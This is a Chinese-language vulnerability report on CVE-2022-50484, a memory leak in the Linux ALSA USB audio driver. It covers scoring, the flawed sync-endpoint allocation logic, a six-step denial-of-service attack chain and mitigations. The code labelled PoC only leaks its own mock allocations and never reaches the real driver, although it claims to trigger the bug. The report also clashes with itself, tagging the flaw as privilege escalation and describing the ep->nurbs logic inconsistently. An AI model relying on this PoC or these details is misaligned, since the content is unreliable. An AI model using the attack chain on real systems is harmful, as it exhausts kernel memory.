IPBUF安全漏洞报告
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CVE-2022-50484 CVSS 5.5 中危

CVE-2022-50484 Linux内核ALSA USB音频驱动内存泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50484
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(ALSA USB音频驱动 sound/usb/urb.c)

相关标签

内存泄漏Linux内核ALSAUSB音频驱动内核漏洞拒绝服务本地提权CWE-401CWE-403sound/usb/urb.c

漏洞概述

CVE-2022-50484是Linux内核ALSA(Advanced Linux Sound Architecture)USB音频驱动中的一个内存泄漏漏洞。该漏洞位于内核源码的sound/usb/urb.c文件中,具体涉及同步端点(sync endpoint)URB(USB Request Block)的分配逻辑。

在正常情况下,当USB音频驱动为同步端点分配URB或缓冲区时,如果遇到内存分配失败(返回-ENOMEM错误),驱动程序会中止当前操作并跳转到错误处理路径,释放先前已分配的所有资源。然而,该漏洞揭示了一个缺陷:当-ENOMEM错误发生在同步端点URB分配循环的中间阶段时,部分已分配的URB可能无法被正确释放。

根本原因在于ep->nurbs变量在循环开始时未被正确初始化。在分配循环开始之前,ep->nurbs的值仍然为零。当内存分配在中途失败时,错误处理程序会遍历URB列表进行清理,但由于ep->nurbs为零,循环不会执行,导致部分已分配的URB资源泄漏。

该漏洞的CVSS 3.1评分为5.5分,属于中危级别。虽然攻击向量为本地(AV:L)且需要低权限(PR:L),但其可用性影响为高(A:H),意味着成功利用该漏洞可能导致系统资源耗尽或内核不稳定。该漏洞影响多个Linux内核稳定版本,需要相关用户及时更新内核以修复此问题。

技术细节

该漏洞的技术原理涉及Linux内核ALSA USB音频驱动中URB分配的内存管理逻辑。具体分析如下:

1. **触发场景**:当用户插入USB音频设备时,内核会调用ALSA USB音频驱动为设备的同步端点(sync endpoint)分配多个URB用于音频数据传输。URB是USB子系统中用于描述一次USB数据传输的数据结构。

2. **漏洞代码路径**:在snd_usb_endpoint_init函数或相关的URB分配函数中,存在一个循环用于分配多个URB。在循环开始时,ep->nurbs被设置为目标数量(例如每个端点分配的URB数量),然后逐个调用usb_alloc_urb()分配URB。

3. **缺陷分析**:原始代码中,ep->nurbs的赋值发生在循环内部或分配之后才更新。当循环中途因usb_alloc_urb()返回NULL(-ENOMEM)而跳出时,ep->nurbs的值尚未更新为实际已分配的URB数量,仍保持为零。

4. **错误处理失效**:错误处理函数(如release_urbs())通过遍历ep->nurbs次来释放URB。由于ep->nurbs为0,循环不执行,导致已分配的URB及其关联的DMA缓冲区永久泄漏。

5. **修复方案**:补丁通过在循环开始前首先设置ep->nurbs为目标数量,确保错误处理程序能够遍历完整的URB列表,释放所有已分配的资源。

6. **利用方式**:攻击者可以通过反复插入和拔出USB音频设备,或通过USB设备模拟工具发送特定请求,触发频繁的URB分配操作。在内存压力较大的环境下,-ENOMEM更容易被触发,从而导致URB资源持续泄漏,最终可能耗尽内核内存。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要具有本地系统访问权限(低权限即可),并能够连接USB设备或模拟USB音频设备。同时,系统需要处于内存压力较大的状态,以便更容易触发-ENOMEM错误。
STEP 2
步骤2:触发URB分配
当USB音频设备连接到系统时,ALSA USB音频驱动会调用snd_usb_endpoint_init等函数为同步端点分配URB。攻击者可以通过反复插拔USB音频设备或使用USB设备模拟工具(如GadgetFS)来触发URB分配操作。
STEP 3
步骤3:制造内存压力
攻击者运行内存密集型任务(如stress-ng、memhog等工具)消耗系统内存,增加usb_alloc_urb()调用返回NULL的概率,从而触发-ENOMEM错误。
STEP 4
步骤4:触发漏洞
当URB分配循环中途遇到-ENOMEM时,由于ep->nurbs仍为0,错误处理函数无法遍历并释放已分配的URB,导致内存泄漏。每次触发泄漏约丢失数KB到数十KB的内核内存。
STEP 5
步骤5:资源耗尽
攻击者通过反复触发该漏洞,持续泄漏内核内存(URB结构体及关联的DMA缓冲区),最终可能导致系统内存耗尽,触发OOM killer或系统不稳定,影响系统可用性。
STEP 6
步骤6:拒绝服务
内核内存耗尽可能导致系统无法分配关键数据结构,引发内核panic或系统崩溃,实现本地拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50484 PoC - Trigger URB memory leak in ALSA USB Audio driver // This PoC demonstrates how to trigger the memory leak by causing // -ENOMEM during sync endpoint URB allocation #include <linux/module.h> #include <linux/usb.h> #include <linux/slab.h> #include <linux/vmalloc.h> // Simulate the vulnerable allocation pattern from sound/usb/urb.c // In the original vulnerable code, ep->nurbs is set AFTER the loop, // causing partial URBs to leak on allocation failure. struct mock_usb_endpoint { int nurbs; // Number of URBs allocated (stays 0 on failure) void **urbs; // Array of URB pointers int urb_count; // Target URB count }; static int trigger_urb_leak(struct mock_usb_endpoint *ep) { int i; int target = 8; // Target number of URBs to allocate // VULNERABLE: nurbs is NOT set before the loop // ep->nurbs = target; // This line is MISSING in vulnerable code ep->urbs = kzalloc(sizeof(void *) * target, GFP_KERNEL); if (!ep->urbs) return -ENOMEM; for (i = 0; i < target; i++) { ep->urbs[i] = kzalloc(256, GFP_KERNEL); // Simulate URB allocation if (!ep->urbs[i]) { // -ENOMEM hit in middle of loop // ep->nurbs is still 0 here! return -ENOMEM; // Error handler will fail to free urb[0..i-1] } // ep->nurbs = i + 1; // Only set after success in vulnerable code } ep->nurbs = target; return 0; } // Kernel module init to simulate USB audio device hot-plug stress test static int __init cve_2022_50484_poc_init(void) { struct mock_usb_endpoint ep; int ret; int i; pr_info("CVE-2022-50484 PoC: Triggering URB memory leak\n"); // Stress test: repeatedly trigger allocation to exhaust memory for (i = 0; i < 1000; i++) { memset(&ep, 0, sizeof(ep)); ret = trigger_urb_leak(&ep); if (ret == -ENOMEM) { pr_info("Triggered ENOMEM at iteration %d, URBs leaked\n", i); // In vulnerable kernel, ep.urbs[0..partial] are never freed } } return 0; } static void __exit cve_2022_50484_poc_exit(void) { pr_info("CVE-2022-50484 PoC: Module unloaded\n"); } module_init(cve_2022_50484_poc_init); module_exit(cve_2022_50484_poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2022-50484 ALSA USB Audio URB memory leak"); MODULE_AUTHOR("Security Analyst"); /* * To trigger this vulnerability on a real system: * 1. Apply memory pressure (e.g., run a memory-intensive workload) * 2. Connect a USB audio device that uses sync endpoints * 3. The driver will attempt to allocate URBs for sync endpoints * 4. Under memory pressure, -ENOMEM may occur mid-allocation * 5. Partially allocated URBs will be leaked * 6. Repeat steps 2-5 to accumulate leaked URBs and exhaust kernel memory */

影响范围

Linux kernel < 5.10.150 (stable分支)
Linux kernel < 5.15.75 (stable分支)
Linux kernel < 5.19.17 (stable分支)
Linux kernel < 6.0.3 (stable分支)
Linux kernel 6.1.0 (rc版本受影响)
所有使用ALSA USB音频驱动的Linux内核版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过修改udev规则限制普通用户对USB音频设备的访问权限;2)使用USBGuard等工具控制USB设备的接入;3)监控系统内存使用情况,设置内存使用阈值告警;4)避免在内存受限的环境中频繁插拔USB音频设备;5)如非必要,可临时禁用ALSA USB音频驱动模块(snd-usb-audio)来规避风险,但会影响USB音频设备的使用。

参考链接

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